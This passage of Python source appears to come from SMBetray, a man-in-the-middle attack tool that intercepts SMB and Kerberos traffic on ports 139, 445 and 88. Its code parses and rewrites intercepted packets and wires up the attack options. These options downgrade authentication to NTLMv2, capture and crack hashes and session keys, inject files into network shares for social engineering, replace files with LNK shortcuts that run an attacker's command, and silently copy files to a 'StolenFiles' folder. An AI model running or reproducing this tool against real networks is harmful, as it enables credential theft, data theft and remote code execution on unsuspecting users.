'SMB1_Lib'): 177 | self.SMBTool = SMB1_Lib(self.info, self.MiTMModuleConfig) 178 | return self.SMBTool.handleRequest(request) 179 | # Handle SMBv2 packets 180 | if(request[4:8] == SMB2_Header): 181 | if(self.SMBTool.__class__.__name__ != 'SMB2_Lib'): 182 | self.SMBTool = SMB2_Lib(self.info, self.MiTMModuleConfig) 183 | return self.SMBTool.handleRequest(request) 184 | 185 | # Else, pass it along 186 | return request 187 | 188 | # Modify the raw data sent from the server back to the client 189 | def parseServerResponse(self, response): 190 | SMB1_Header = '\xff\x53\x4d\x42' 191 | SMB2_Header = '\xfe\x53\x4d\x42' 192 | 193 | # If we're in the middle of compiling the data from one very large split up packet, continue to do so 194 | if(self.SRV_INCOMPLETE_MESSAGE): 195 | self.SRV_MESSAGE_DATA += response 196 | if(len(self.SRV_MESSAGE_DATA) == self.SRV_MESSAGE_LENGTH): 197 | response = str(self.SRV_MESSAGE_DATA) 198 | self.SRV_MESSAGE_DATA = "" 199 | self.SRV_MESSAGE_LENGTH = 0 200 | self.SRV_INCOMPLETE_MESSAGE = False 201 | else: 202 | # Don't return a response, thus we hold off replying to the client 203 | return 204 | # Verify we got an SMB packet wrapped inside of a NetBIOS packet 205 | try: 206 | raw = NetBIOSSessionPacket(data = response) 207 | if(len(str(response)) < raw.length): 208 | self.SRV_INCOMPLETE_MESSAGE = True 209 | self.SRV_MESSAGE_DATA = str(response) 210 | self.SRV_MESSAGE_LENGTH = raw.length + 4 211 | # Don't return a response, thus we hold off replying to the client 212 | return 213 | except Exception, e: 214 | logging.debug("[SMBetray::parseServerResponse] " + str(e) + " " + traceback.format_exc()) 215 | return response 216 | 217 | # Cool, now we've got the entire re-compiled packet. 218 | # Now lets do something with it 219 | 220 | 221 | # Handle SMBv1 packets 222 | if(response[4:8] == SMB1_Header): 223 | if(self.SMBTool.__class__.__name__ != 'SMB1_Lib'): 224 | self.SMBTool = SMB1_Lib(self.info, self.MiTMModuleConfig) 225 | return self.SMBTool.handleResponse(response) 226 | # Handle SMBv2 packets 227 | if(response[4:8] == SMB2_Header): 228 | if(self.SMBTool.__class__.__name__ != 'SMB2_Lib'): 229 | self.SMBTool = SMB2_Lib(self.info, self.MiTMModuleConfig) 230 | return self.SMBTool.handleResponse(response) 231 | 232 | # Else, pass it along 233 | return response 234 | 235 | 236 | VERSION = "1.0.0" 237 | # Parse the commandline arguments 238 | def parseCommandLine(): 239 | '''This function parses and return arguments passed in''' 240 | # Assign description to the help doc 241 | parser = argparse.ArgumentParser() 242 | parser._optionals.title = "Standard arguments" 243 | parser.add_argument('-I', metavar='IFACE', type=str, help='Interface to hijack connections on', required=True) 244 | parser.add_argument('-v', '--verbose', action="store_true", help='Print verbose output', required=False) 245 | 246 | 247 | connGroup = parser.add_argument_group('Authentication & protocol attacks') 248 | connGroup.add_argument('--downgradeAuth', action="store_true", help='Attempt to downgrade authentication mechanisms to NTLMv2', required=False) 249 | connGroup.add_argument('--K311', action="store_true", help='Try to downgrade SMB 3.1.1 to NTLMv2, even though the connection will be killed after auth (only good for capturing hashes)', required=False) 250 | connGroup.add_argument('--creds', metavar='CREDFILE', default=None, type=str, help='A file containing usernames & passwords (or lm:ntlm hashes) for session key cracking, one-per line, formatted as "DOMAIN/USERNAME PASSWORD" or "DOMAIN/USERNAME lm:ntlm". This file is watched for live edits', required=False) 251 | connGroup.add_argument('--hashOutputFile', metavar='OUTPUTFILE', default=None, type=str, help='Store captured NTLMv2 hashes in this file', required=False) 252 | 253 | fileGroup = parser.add_argument_group('File Attacks') 254 | fileGroup.add_argument('--injectFiles', metavar='DIRECTORY', default=None, type=str, help='Inject the files from the specified folder into every folder listing of the network share (useful for social engineering)', required = False) 255 | fileGroup.add_argument('--lnkSwapAll', metavar='COMMAND', default=None, type=str, help='Replace every file shown (except folders) with a LNK with the same name to run the provided command', required=False) 256 | fileGroup.add_argument('--lnkSwapExecOnly', metavar='COMMAND', default=None, type=str, help='Only replace every executable or lnk file shown (except folders) with a LNK with the same name to run the provided command', required=False) 257 | fileGroup.add_argument('--extSwapDir', metavar='DIRECTORY', default=None, type=str, help='Swap out the contents of any file with extension X with the contents of the file in the provided directory with extension X') 258 | fileGroup.add_argument('--nameFileSwap', metavar='DIRECTORY', default=None, type=str, help='Swap out the contents of a file sharing the same name as one of the files in the provided directory (eg the contents of the file Sample.xml is swapped out with contents of DIRECTORY/Sample.xml)') 259 | 260 | 261 | utilGroup = parser.add_argument_group('Utilities') 262 | utilGroup.add_argument('--passive', metavar='OUTPUTDIR', default=None, type=str, help='Passively copy files in cleartext to the provided directory', required=False) 263 | 264 | 265 | # Array for all arguments passed to script 266 | args = parser.parse_args() 267 | 268 | if(args.verbose): 269 | logging.getLogger().setLevel(logging.NOTSET) 270 | 271 | 272 | config = dict() 273 | config['interface'] = args.I 274 | 275 | # build the AttackConfig for SMBetray to later parse 276 | attackConf = AttackConfig() 277 | 278 | attackConf.AUTHMECH_DOWNGRADE = args.downgradeAuth 279 | attackConf.POPPED_CREDS_FILE = args.creds 280 | 281 | attackConf.PASSIVE_OUTPUT_DIR = args.passive 282 | attackConf.HASH_OUTPUT_FILE = args.hashOutputFile 283 | 284 | attackConf.INJECT_FILES_DIR = args.injectFiles 285 | attackConf.EXTENSION_SWAP_DIR = args.extSwapDir 286 | attackConf.FILENAME_SWAP_DIR = args.nameFileSwap 287 | attackConf.LNK_SWAP_ALL = args.lnkSwapAll 288 | attackConf.LNK_SWAP_EXEC_ONLY = args.lnkSwapExecOnly 289 | attackConf.AUTHMECH_DOWNGRADE_K311 = args.K311 290 | 291 | 292 | 293 | if(args.lnkSwapAll != None and args.lnkSwapExecOnly != None): 294 | logging.error("FATAL: Cannot use --lnkSwapAll and --lnkSwapExecOnly together") 295 | exit(0) 296 | 297 | 298 | config['SMBAttackConfig'] = attackConf 299 | 300 | 301 | 302 | # The file to read/monitor for compromised creds to use for cracking SMB session keys 303 | config['credFile'] = './compromisedCreds.txt' 304 | # The directory to store passively captured files 305 | config['stolenFilesOutputDir'] = './StolenFiles' 306 | 307 | return config 308 | 309 | # Prints that l337 banner 310 | def printBanner(): 311 | z = "\n" 312 | z += bcolors.OKBLUE + """##### ####### #### """+bcolors.FAIL+"""##### ##### ##### ##### # # \n"""+bcolors.ENDC 313 | z += bcolors.OKBLUE + """# # # # # # """+bcolors.FAIL+"""# # # # # # # # \n"""+bcolors.ENDC 314 | z += bcolors.OKBLUE + """##### # # # #### """+bcolors.FAIL+"""##### # #### ##### # \n"""+bcolors.ENDC 315 | z += bcolors.OKBLUE + """ # # # # # # """+bcolors.FAIL+"""# # # # # # # \n"""+bcolors.ENDC 316 | z += bcolors.OKBLUE + """##### # # # #### """+bcolors.FAIL+"""##### # # # # # # \n"""+bcolors.ENDC 317 | z += "\n" 318 | z += bcolors.TEAL + """SMBetray v"""+str(VERSION)+""" ebcLib v"""+str(ebcLib.VERSION)+bcolors.ENDC+"\n" 319 | z += bcolors.WHITE + """@Quickbreach"""+bcolors.ENDC+"\n" 320 | 321 | print(z) 322 | def runAttack(config): 323 | # The list that will contain all of the running MiTMServer threads 324 | MiTMServers = [] 325 | fileWatcherThread = None 326 | # Memory sharing across threads 327 | sharedData = [] 328 | sharedData.append(Manager()) 329 | sharedData.append(Manager()) 330 | sharedData.append(Manager()) 331 | sharedData.append(Manager()) 332 | 333 | 334 | smbKeyChain = sharedData[0].dict() #Shared memory accross threads - this allows the K2TKerb module to share the session key with the SMBetray module 335 | smbKeyChain_Lock = Lock() #To prevent multiple threads from accessing the smbKeyChain at the same time 336 | 337 | kerbSessionSalts = sharedData[1].dict() #Shared memory accross threads - to give all K2TKerb threads access to the salts from PREAUTH-errors 338 | 339 | kerbSessionKeys = sharedData[2].dict() #Shared memory accross threads - to give all K2TKerb threads access to the kerberos AS-REP session keys 340 | 341 | poppedCredsDB = sharedData[3].dict() #Shared memory accross threads - to give all SMBetray modules access to the creds in the popped-creds file 342 | poppedCredsDB_Lock = Lock() #Shared memory accross threads - to give all SMBetray modules access to the creds in the popped-creds file 343 | 344 | 345 | kerbPoppedKeys = Queue() 346 | 347 | # Watch the credential file for live edits 348 | if(config['SMBAttackConfig'].POPPED_CREDS_FILE != None): 349 | fileWatcherThread = CredFileWatcher(config['SMBAttackConfig'].POPPED_CREDS_FILE, poppedCredsDB, poppedCredsDB_Lock) 350 | fileWatcherThread.start() 351 | 352 | # Create the SMBetray module instance 353 | smbetrayMod = SMBetray() 354 | smbetrayMod.addCustomData(attackConfig = config['SMBAttackConfig']) 355 | smbetrayMod.addCustomData(smbKeyChain = smbKeyChain) 356 | smbetrayMod.addCustomData(smbKeyChain_Lock = smbKeyChain_Lock) 357 | smbetrayMod.addCustomData(poppedCredsDB = poppedCredsDB) 358 | smbetrayMod.addCustomData(poppedCredsDB_Lock = poppedCredsDB_Lock) 359 | smbetrayMod.addCustomData(kerbPoppedKeys = kerbPoppedKeys) 360 | 361 | # Create the Kerberos intercept server 362 | kickToTheKerb = K2TKerb() 363 | kickToTheKerb.addCustomData(attackConfig = config['SMBAttackConfig']) 364 | kickToTheKerb.addCustomData(poppedCredsDB = poppedCredsDB) 365 | kickToTheKerb.addCustomData(kerbPoppedKeys = kerbPoppedKeys) 366 | 367 | # 445 SMB intercept 368 | # 88 Kerberos intercept 369 | MiTMServers.append(ebcLib.MiTMServer(139, "tcp", config['interface'], smbetrayMod, True)) 370 | MiTMServers.append(ebcLib.MiTMServer(445, "tcp", config['interface'], smbetrayMod, True)) 371 | MiTMServers.append(ebcLib.MiTMServer(88, "tcp", config['interface'], kickToTheKerb, False)) 372 | 373 | 374 | 375 | try: 376 | logging.info("Starting intercept servers!") 377 | for x in MiTMServers: 378 | x.daemon = True 379 | x.start() 380 | while MiTMServers[-1].isAlive(): 381 | # the MiTMServer disregards '-1', so this join does nothing 382 | MiTMServers[-1].join(-1) 383 | except KeyboardInterrupt: 384 | logging.info("Quitting....") 385 | for z in MiTMServers: 386 | z.join(0) 387 | if(fileWatcherThread != None): 388 | fileWatcherThread.join(0) 389 | except Exception, e: 390 | m = logging.error(str(traceback.format_exc())) 391 | logging.error("Error: " + str(m)) 392 | if __name__ == "__main__": 393 | # Print the banner 394 | printBanner() 395 | # Handle the commandline arguments 396 | config = parseCommandLine() 397 | # Command-line looked good, execute 398 | runAttack(config) 399 | 400 | 401 | #1. Generate the LNK files 402 | #2. Generate the files for .dll, .exe, .msi, .war, .aspx, .asp, .jsp, .vbs, .vb, .bat, .com, .cmd, .ps1, .reg 403 | #3. Read the cracked credentials file 404 | #4. 405 | 406 | # Grab Registry.pol 407 | # Inject files 408 | # LnkSwap 409 | # Crack NTLMv2 keys --------------------------------------------------------------------------------